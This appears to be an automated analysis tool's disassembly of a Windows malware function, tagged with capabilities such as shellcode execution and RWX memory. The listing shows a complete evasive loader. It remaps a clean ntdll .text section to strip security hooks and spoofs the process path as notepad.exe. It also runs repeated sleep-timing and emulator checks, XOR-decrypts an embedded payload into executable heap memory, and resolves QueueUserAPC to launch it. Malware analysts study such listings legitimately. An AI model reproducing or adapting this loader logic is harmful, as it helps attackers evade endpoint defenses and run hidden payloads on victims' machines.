Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8d8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x840], xmm6
mov dword [rbp + 0x880], ecx
mov qword [rbp + 0x888], rdx
call fcn.140002c30
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x838], rax
cmp qword [rbp + 0x838], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x838], rax
cmp qword [rbp + 0x838], 0
je 0x140001974
mov ecx, 0x16e0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c8], rax
mov dword [rbp + 0x834], 0
jmp 0x1400015ad
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065a8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
movsd xmm1, qword [0x1400065b0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x2db
jle 0x14000155f
mov dword [rbp + 0x834], 0
jmp 0x140001617
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7c8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x2db
jle 0x1400015c5
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x600]
mov rax, qword [rbp + 0x7d0]
mov r10, qword [rbp + 0x838]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov ecx, 0x548
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c0], rax
mov dword [rbp + 0x830], 0
jmp 0x1400016ae
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x830]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
movsd xmm1, qword [0x1400065a8]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0xa8
jle 0x140001670
mov dword [rbp + 0x830], 0
jmp 0x140001718
mov eax, dword [rbp + 0x830]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x830]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7c0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0xa8
jle 0x1400016c6
mov rax, qword [rbp + 0x600]
mov qword [rbp + 0x7b8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7b0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov qword [rbp + 0x790], rax
mov word [rbp + 0x82e], 0
jmp 0x14000195c
mov rax, qword [rbp + 0x790]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x790]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x82e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14000194b
mov dword [rbp + 0x5c8], 0
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5c8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5c8]
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5c8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x82e]
add eax, 1
mov word [rbp + 0x82e], ax
mov rax, qword [rbp + 0x790]
movzx eax, word [rax + 6]
cmp word [rbp + 0x82e], ax
jb 0x140001820
mov dword [rbp + 0x5cc], 0
mov rax, qword [rbp + 0x7e0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5d0]
lea rax, [rbp + 0x5cc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x780]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5d8]
add rax, 0x3c
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov ecx, 0xa94
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov dword [rbp + 0x824], 0
mov dword [rbp + 0x820], 0
mov dword [rbp + 0x828], 0
jmp 0x140001ad0
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x828]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x770]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x770]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140001a9f
add dword [rbp + 0x824], 1
jmp 0x140001ac9
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x770]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140001ac9
add dword [rbp + 0x820], 1
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x2a4
jle 0x140001a2d
mov rax, qword [rbp + 0x770]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x778]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x76c], 0x366
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
call rax
mov dword [rbp + 0x75c], eax
mov eax, dword [rbp + 0x76c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x760]
call rax
mov dword [rbp + 0x758], eax
mov eax, dword [rbp + 0x758]
sub eax, dword [rbp + 0x75c]
cmp eax, 0x334
jbe 0x140002b66
mov qword [rbp + 0x750], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x748]
mov r9d, 0x3000
mov r8d, 0x482
mov edx, 0
call rax
mov qword [rbp + 0x750], rax
cmp qword [rbp + 0x750], 0
je 0x140002b66
mov dword [rbp + 0x744], 0x2ab
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x734], eax
mov eax, dword [rbp + 0x744]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x730], eax
mov eax, dword [rbp + 0x730]
sub eax, dword [rbp + 0x734]
cmp eax, 0x279
jbe 0x140002b66
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov ecx, 0
call rax
mov dword [rbp + 0x724], eax
cmp dword [rbp + 0x724], 0xffffffff
je 0x140002b66
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x714], eax
mov ecx, 0x3ae
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x710], eax
mov eax, dword [rbp + 0x710]
sub eax, dword [rbp + 0x714]
cmp eax, 0x37c
jbe 0x140002b66
mov dword [rbp + 0x70c], 0x1fd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6fc], eax
mov eax, dword [rbp + 0x70c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6f8], eax
mov eax, dword [rbp + 0x6f8]
sub eax, dword [rbp + 0x6fc]
cmp eax, 0x1cb
jbe 0x140002b66
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
je 0x140002b66
mov rax, qword [rbp + 0x6f0]
mov edx, 0x595
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6ec], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6dc], eax
mov ecx, 0x25e
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6d8], eax
mov eax, dword [rbp + 0x6d8]
sub eax, dword [rbp + 0x6dc]
cmp eax, 0x22c
jbe 0x140002b66
mov qword [rbp + 0x6d0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6c8]
mov r9d, 0x3000
mov r8d, 0x4a8
mov edx, 0
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
je 0x140002b66
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0
jne 0x140002b66
lea rax, [rbp + 0x140]
lea rdx, [0x140006128]
mov ecx, 0x90
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x7d8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x7d8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6b0]
mov r8d, 0
mov edx, 0x47f
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x6a8]
mov r8d, 0x47f
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x698], rax
mov ecx, 0xc4c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov ecx, 0xc4c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov ecx, 0xc4c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov ecx, 0xc4c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x818], 0x312
mov dword [rbp + 0x81c], 0
jmp 0x140002190
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x81c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x690]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x81c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x688]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x818]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov edx, dword [rbp + 0x81c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x680]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x818]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rdx
mov edx, dword [rbp + 0x81c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x678]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x818], 1
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x312
jle 0x140002084
mov rax, qword [rbp + 0x690]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7e0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov ecx, 0x944
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x810], 0
mov dword [rbp + 0x80c], 0
mov dword [rbp + 0x814], 0
jmp 0x14000227b
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x814]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x668]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x250
jle 0x14000222e
mov dword [rbp + 0x814], 0
mov dword [rbp + 0x814], 0
jmp 0x1400022fa
mov eax, dword [rbp + 0x814]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400022c9
add dword [rbp + 0x810], 1
jmp 0x1400022f3
mov eax, dword [rbp + 0x814]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400022f3
add dword [rbp + 0x80c], 1
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x250
jle 0x14000229d
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
lea rdx, [rbp + 0x140]
mov rax, qword [rbp + 0x698]
mov r9, qword [rbp + 0x670]
mov r8d, 0x47f
mov rcx, rax
call r9
mov dword [rbp + 0x808], 0
mov dword [rbp + 0x804], 0
mov dword [rbp + 0x800], 0
pxor xmm0, xmm0
movss dword [rbp + 0x7f8], xmm0
mov dword [rbp + 0x7fc], 0
jmp 0x1400023e5
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x7fc]
movsd xmm0, qword [0x1400065b0]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x1400065b8]
movd xmm0, eax
call fcn.140003c20
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x7fc]
addsd xmm0, xmm0
movsd xmm2, qword [0x1400065b0]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x7f8]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x7f8], xmm0
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x267
jle 0x14000236c
movss xmm1, dword [rbp + 0x7f8]
movss xmm0, dword [0x1400065bc]
mulss xmm0, xmm1
movss dword [rbp + 0x7f8], xmm0
movabs rax, 0xb2a214e435b31cc1
movabs rdx, 0xb23753a47dc99a28
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xd556617fdf1cb074
movabs rdx, 0x23e9c9a246c310e4
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xfa8315c1c0d4087c
movabs rdx, 0xf90ec2d54622693f
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0xcf4f9e529fd8e7f1
movabs rdx, 0x8d7e04403d3ec001
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xd0d6b8cce107ee86
movabs rdx, 0x8505124e6b3bdbcc
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0xee8b73d7d9612c72
movabs rdx, 0xcb9cc9937df98529
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0xa1845d0421264363
movabs rdx, 0x6d691fd47f54e5a2
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0x5e6d691fd47f54e5
movabs rdx, 0xe348f09bd82ba8
mov qword [rbp + 0x129], rax
mov qword [rbp + 0x131], rdx
mov dword [rbp + 0x7f4], 0xffffffff
add dword [rbp + 0x7f4], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x142
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065a8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003df0
movq rax, xmm0
mov qword [rbp + 0x660], rax
cmp dword [rbp + 0x7f4], 0x1dc
jle 0x14000252b
movabs rax, 0x30583f2aa4935bdc
movabs rdx, 0x55926b198d7d1d48
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xfed411d9b17af550
movabs rdx, 0x719eb4e7b9f6e49b
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xbb12ec40c33efdff
movabs rdx, 0x9fdd5bf522a276f0
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xd7ed64e0c9fd12db
movabs rdx, 0xad8f4e94ac77db06
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x1a4446c56d29213e
movabs rdx, 0x7773366ae82561af
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xcaa5fe9343d6b4fe
movabs rdx, 0xf50dc77714f03260
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xb035f3dbd7399e72
movabs rdx, 0x3311801581f37aa
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov byte [rbp + 0x30], 0
jmp 0x1400026bb
cmp dword [rbp + 0x804], 0x6f
jne 0x140002682
mov eax, dword [rbp + 0x808]
cdqe
movzx edx, byte [rbp + rax + 0xc0]
mov eax, dword [rbp + 0x804]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x808]
cdqe
mov byte [rbp + rax + 0x40], dl
mov dword [rbp + 0x804], 0
jmp 0x1400026b4
mov eax, dword [rbp + 0x808]
cdqe
movzx edx, byte [rbp + rax + 0xc0]
mov eax, dword [rbp + 0x804]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x808]
cdqe
mov byte [rbp + rax + 0x40], dl
add dword [rbp + 0x804], 1
add dword [rbp + 0x808], 1
mov eax, dword [rbp + 0x808]
cmp eax, 0x77
jbe 0x140002642
mov dword [rbp + 0x808], 0
jmp 0x14000292c
cmp dword [rbp + 0x800], 0x77
jne 0x1400027cf
mov dword [rbp + 0x7f0], 0
jmp 0x140002775
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x30c30c31
shr rax, 0x20
sar eax, 2
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x634], eax
mov ecx, dword [rbp + 0x634]
mov eax, ecx
shl eax, 2
add eax, ecx
shl eax, 2
add eax, ecx
sub edx, eax
mov dword [rbp + 0x634], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065a8]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x634]
movq xmm0, rax
call fcn.140003d20
movq rax, xmm0
mov qword [rbp + 0x628], rax
add dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0x3da
jle 0x1400026f5
mov eax, dword [rbp + 0x808]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x800]
cdqe
movzx ecx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x808]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x800], 0
jmp 0x140002814
mov eax, dword [rbp + 0x808]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x800]
cdqe
movzx ecx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x808]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x800], 1
mov dword [rbp + 0x7ec], 0xffffffff
mov ecx, 0x1a08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov ecx, 0x1a08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x618], rax
add dword [rbp + 0x7ec], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x620]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x620]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7ec]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x618]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003c40
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7ec], 0x33f
jle 0x140002840
add dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 0x47e
jle 0x1400026d9
mov rax, qword [rbp + 0x698]
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x7d8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
